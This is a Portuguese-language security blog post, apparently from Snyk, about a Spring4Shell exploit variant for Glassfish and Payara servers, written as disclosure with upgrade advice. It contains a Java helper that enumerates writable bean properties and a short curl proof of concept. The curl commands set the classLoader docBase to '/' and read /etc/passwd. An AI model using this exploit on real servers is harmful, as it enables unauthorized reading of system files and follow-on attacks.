Spring4Shell chega ao Glassfish e ao Payara: mesma vulnerabilidade, novo exploit

Na semana passada, anunciamos a descoberta do Spring4Shell — uma vulnerabilidade de execução remota de código (RCE) em versões antigas do pacote spring-beans. Em nossa publicação Spring4Shell: explicação da vulnerabilidade zero-day de RCE no Spring Framework, mostramos como um exploit antigo do Tomcat para CVE-2010-1622 voltou a ser relevante. Devido à natureza do problema, esperávamos que outros payloads pudessem ser criados além do exploit conhecido para Tomcat. Hoje, nossa equipe de pesquisa de segurança confirmou que isso aconteceu. Agora há exploits semelhantes para Glassfish e Payara que aproveitam o mesmo problema no Spring, mas usam um payload diferente. A equipe do Payara foi informada sobre nossa descoberta, o que ajudou a confirmar a própria análise de que determinadas configurações do Payara poderiam estar vulneráveis.

Mas, antes de tudo, esta NÃO é uma nova vulnerabilidade. É apenas um novo exploit que confirma nossa expectativa de que o problema é mais amplo do que o caso inicial do Tomcat. Embora o Payara vá publicar uma correção emergencial para as versões afetadas do Payara Community e do Payara Enterprise, nossa recomendação de correção continua a mesma. Atualize o pacote spring-beans para a versão 5.3.18 ou 5.2.20 ou superior. Queremos reforçar que é absolutamente necessário atualizar para as versões mais recentes desse pacote. Essa deve ser sua prioridade, acima de qualquer outra coisa.

Encontrando mais propriedades graváveis para explorar

A equipe de pesquisa de segurança da Snyk usou a função abaixo para descobrir quais atributos graváveis estavam disponíveis no servidor de aplicações específico. Criada por Kirill Efimov, da nossa equipe de P&D em segurança, a função usa a API do Spring para percorrer todas as propriedades disponíveis e criar uma lista daquelas que podem ser usadas em uma possível invasão.

1public static HashSet<String> findWritablePds(Object root, String path, int depth, HashSet<Object> visited) {
2
3  if (visited == null) {
4     visited = new HashSet<>();
5     visited.add(Integer.class);
6     visited.add(Long.class);
7     visited.add(Double.class);
8     visited.add(String.class);
9  }
10
11  HashSet<String> res = new HashSet<>();
12
13  if (depth <= 0) return res;
14  if (visited.contains(root)) return res;
15  else visited.add(root);
16
17  try {
18     BeanWrapperImpl impl = new BeanWrapperImpl(root);
19
20     for (PropertyDescriptor pd : impl.getPropertyDescriptors()) {
21        if (!impl.isReadableProperty(pd.getName())) continue;
22        if (pd.getName().equals("accessible")) continue;
23
24        if (impl.isWritableProperty(pd.getName())) {
25           res.add(path + "." + pd.getName());
26        }
27
28        Object value = impl.getPropertyValue(pd.getName());
29
30        if (value != null && value != Optional.empty()) {
31           res.addAll(findWritablePds(value, path + "." + pd.getName(), depth - 1, visited));
32
33           if (value.getClass().isArray()) {
34              try {
35                 Object[] casted = (Object[]) value;
36
37                 for (int i = 0; i < casted.length; i++) {
38                    res.addAll(findWritablePds(casted[i], path + "." + pd.getName() + "[" + i + "]", depth - 1, visited));
39                 }
40              } catch (ClassCastException cce) {
41                 System.err.println("Exception casting class " + value.getClass().getCanonicalName() + ": " + cce.getMessage());
42              }
43           }
44        }
45     }
46  } catch (Exception e) {
47     e.printStackTrace();
48  }
49
50  return res;
51}

Ao chamar esta função HashSet<String> result = HandlingFormSubmissionApplication.findWritablePds(greeting, "", 100, null); no seu endpoint, você pode listar e inspecionar as propriedades com facilidade.

Explorando o servidor Glassfish / Payara

O GlassFish é um servidor de aplicações semelhante ao Tomcat. Não vamos entrar nos detalhes das diferenças, pois isso não é realmente relevante. O servidor Payara deriva do GlassFish e tem muitas semelhanças com ele. No entanto, são produtos diferentes: o Payara tem mais recursos do que o GlassFish original. A equipe do Payara escreveu uma excelente publicação no blog sobre essas diferenças, embora elas não sejam relevantes para este exploit.

Vamos usar a mesma aplicação da nossa publicação anterior no blog, mas agora implantá-la no Payara Server (Community) 5.2022.1. Ao usar a função do parágrafo anterior, descobrimos que os seguintes atributos podem ser gravados:

1[.class.module.classLoader.resources.dirContext.docBase, .class.module.classLoader.parent.name, .class.module.classLoader.resources.dirContext.debug, .class.module.classLoader.resources.dirContext.allowLinking, .class.module.classLoader.resources.cache.desiredEntryAccessRatio, .content, .class.module.classLoader.resources, .id, .class.module.classLoader.resources.dirContext.cacheTTL, .class.module.classLoader.antiJARLocking, .class.module.classLoader.debug, .class.module.classLoader.resources.dirContext.cacheMaxSize, .class.module.classLoader.resources.dirContext.cached, .class.module.classLoader.resources.dirContext.caseSensitive, .class.module.classLoader.resources.cache.cacheMaxSize, .class.module.classLoader.clearReferencesStatic, .class.module.classLoader.delegate, .class.module.classLoader.resources.cache.maxAllocateIterations, .class.module.classLoader.resources.cache.spareNotFoundEntries, .class.module.classLoader.jarPath]

Uma das propriedades particularmente interessantes é class.module.classLoader.resources.dirContext.docBase, que usaremos em nosso novo exploit.

No exploit abaixo, usamos essa propriedade para definir o docBase como /. Como a raiz agora está definida como a raiz real da máquina, podemos acessar arquivos normalmente indisponíveis. O exemplo abaixo mostra que agora podemos baixar o conteúdo do arquivo /etc/passwd chamando:

1http://localhost:8080/handling-form-submission-complete/etc/passwd

Exploit

1echo "Setting doc base to /"
2curl -X POST \
3 -F 'class.module.classLoader.resources.dirContext.docBase=/' \
4 http://localhost:8080/handling-form-submission-complete/greeting
5sleep 2
6echo "Downloading /etc/passwd"
7curl http://localhost:8080/handling-form-submission-complete/etc/passwd

Nem é preciso dizer que isso é algo que você não quer que aconteça, pois agora podemos ler quaisquer arquivos do sistema de arquivos. Isso pode revelar informações valiosas para que pessoas mal-intencionadas preparem ataques subsequentes ou expor dados de usuários.

O projeto completo do exploit, criado por Calum Hutton, pesquisador de segurança da Snyk, está publicado no GitHub.

Atualize o Spring Framework o quanto antes

Vale repetir: esta NÃO é uma nova vulnerabilidade, mas outro exemplo de como explorar a mesma vulnerabilidade Spring4Shell em um servidor diferente. A principal lição é que esse problema no Spring não se limita ao Tomcat. O problema no próprio Spring é bastante amplo, e podemos acabar vendo muitos exploits diferentes para vários servidores. Portanto, ainda que não haja um exploit conhecido para o seu caso de uso, isso não significa que você não esteja vulnerável!

O melhor que você pode fazer — e, na minha opinião, deve fazer — é atualizar o Spring Framework (ou, pelo menos, o pacote spring-beans) para a versão mais recente. Pelo que podemos constatar, a atualização do pacote corrige esta vulnerabilidade, independentemente da aplicação que você usa.

A Snyk ajuda você a manter tudo sob controle com verificações regulares das suas aplicações. A Snyk alerta você e sua equipe quando novas vulnerabilidades são detectadas e recomenda as próximas etapas para manter suas aplicações seguras. Está esperando o quê? Comece a atualizar!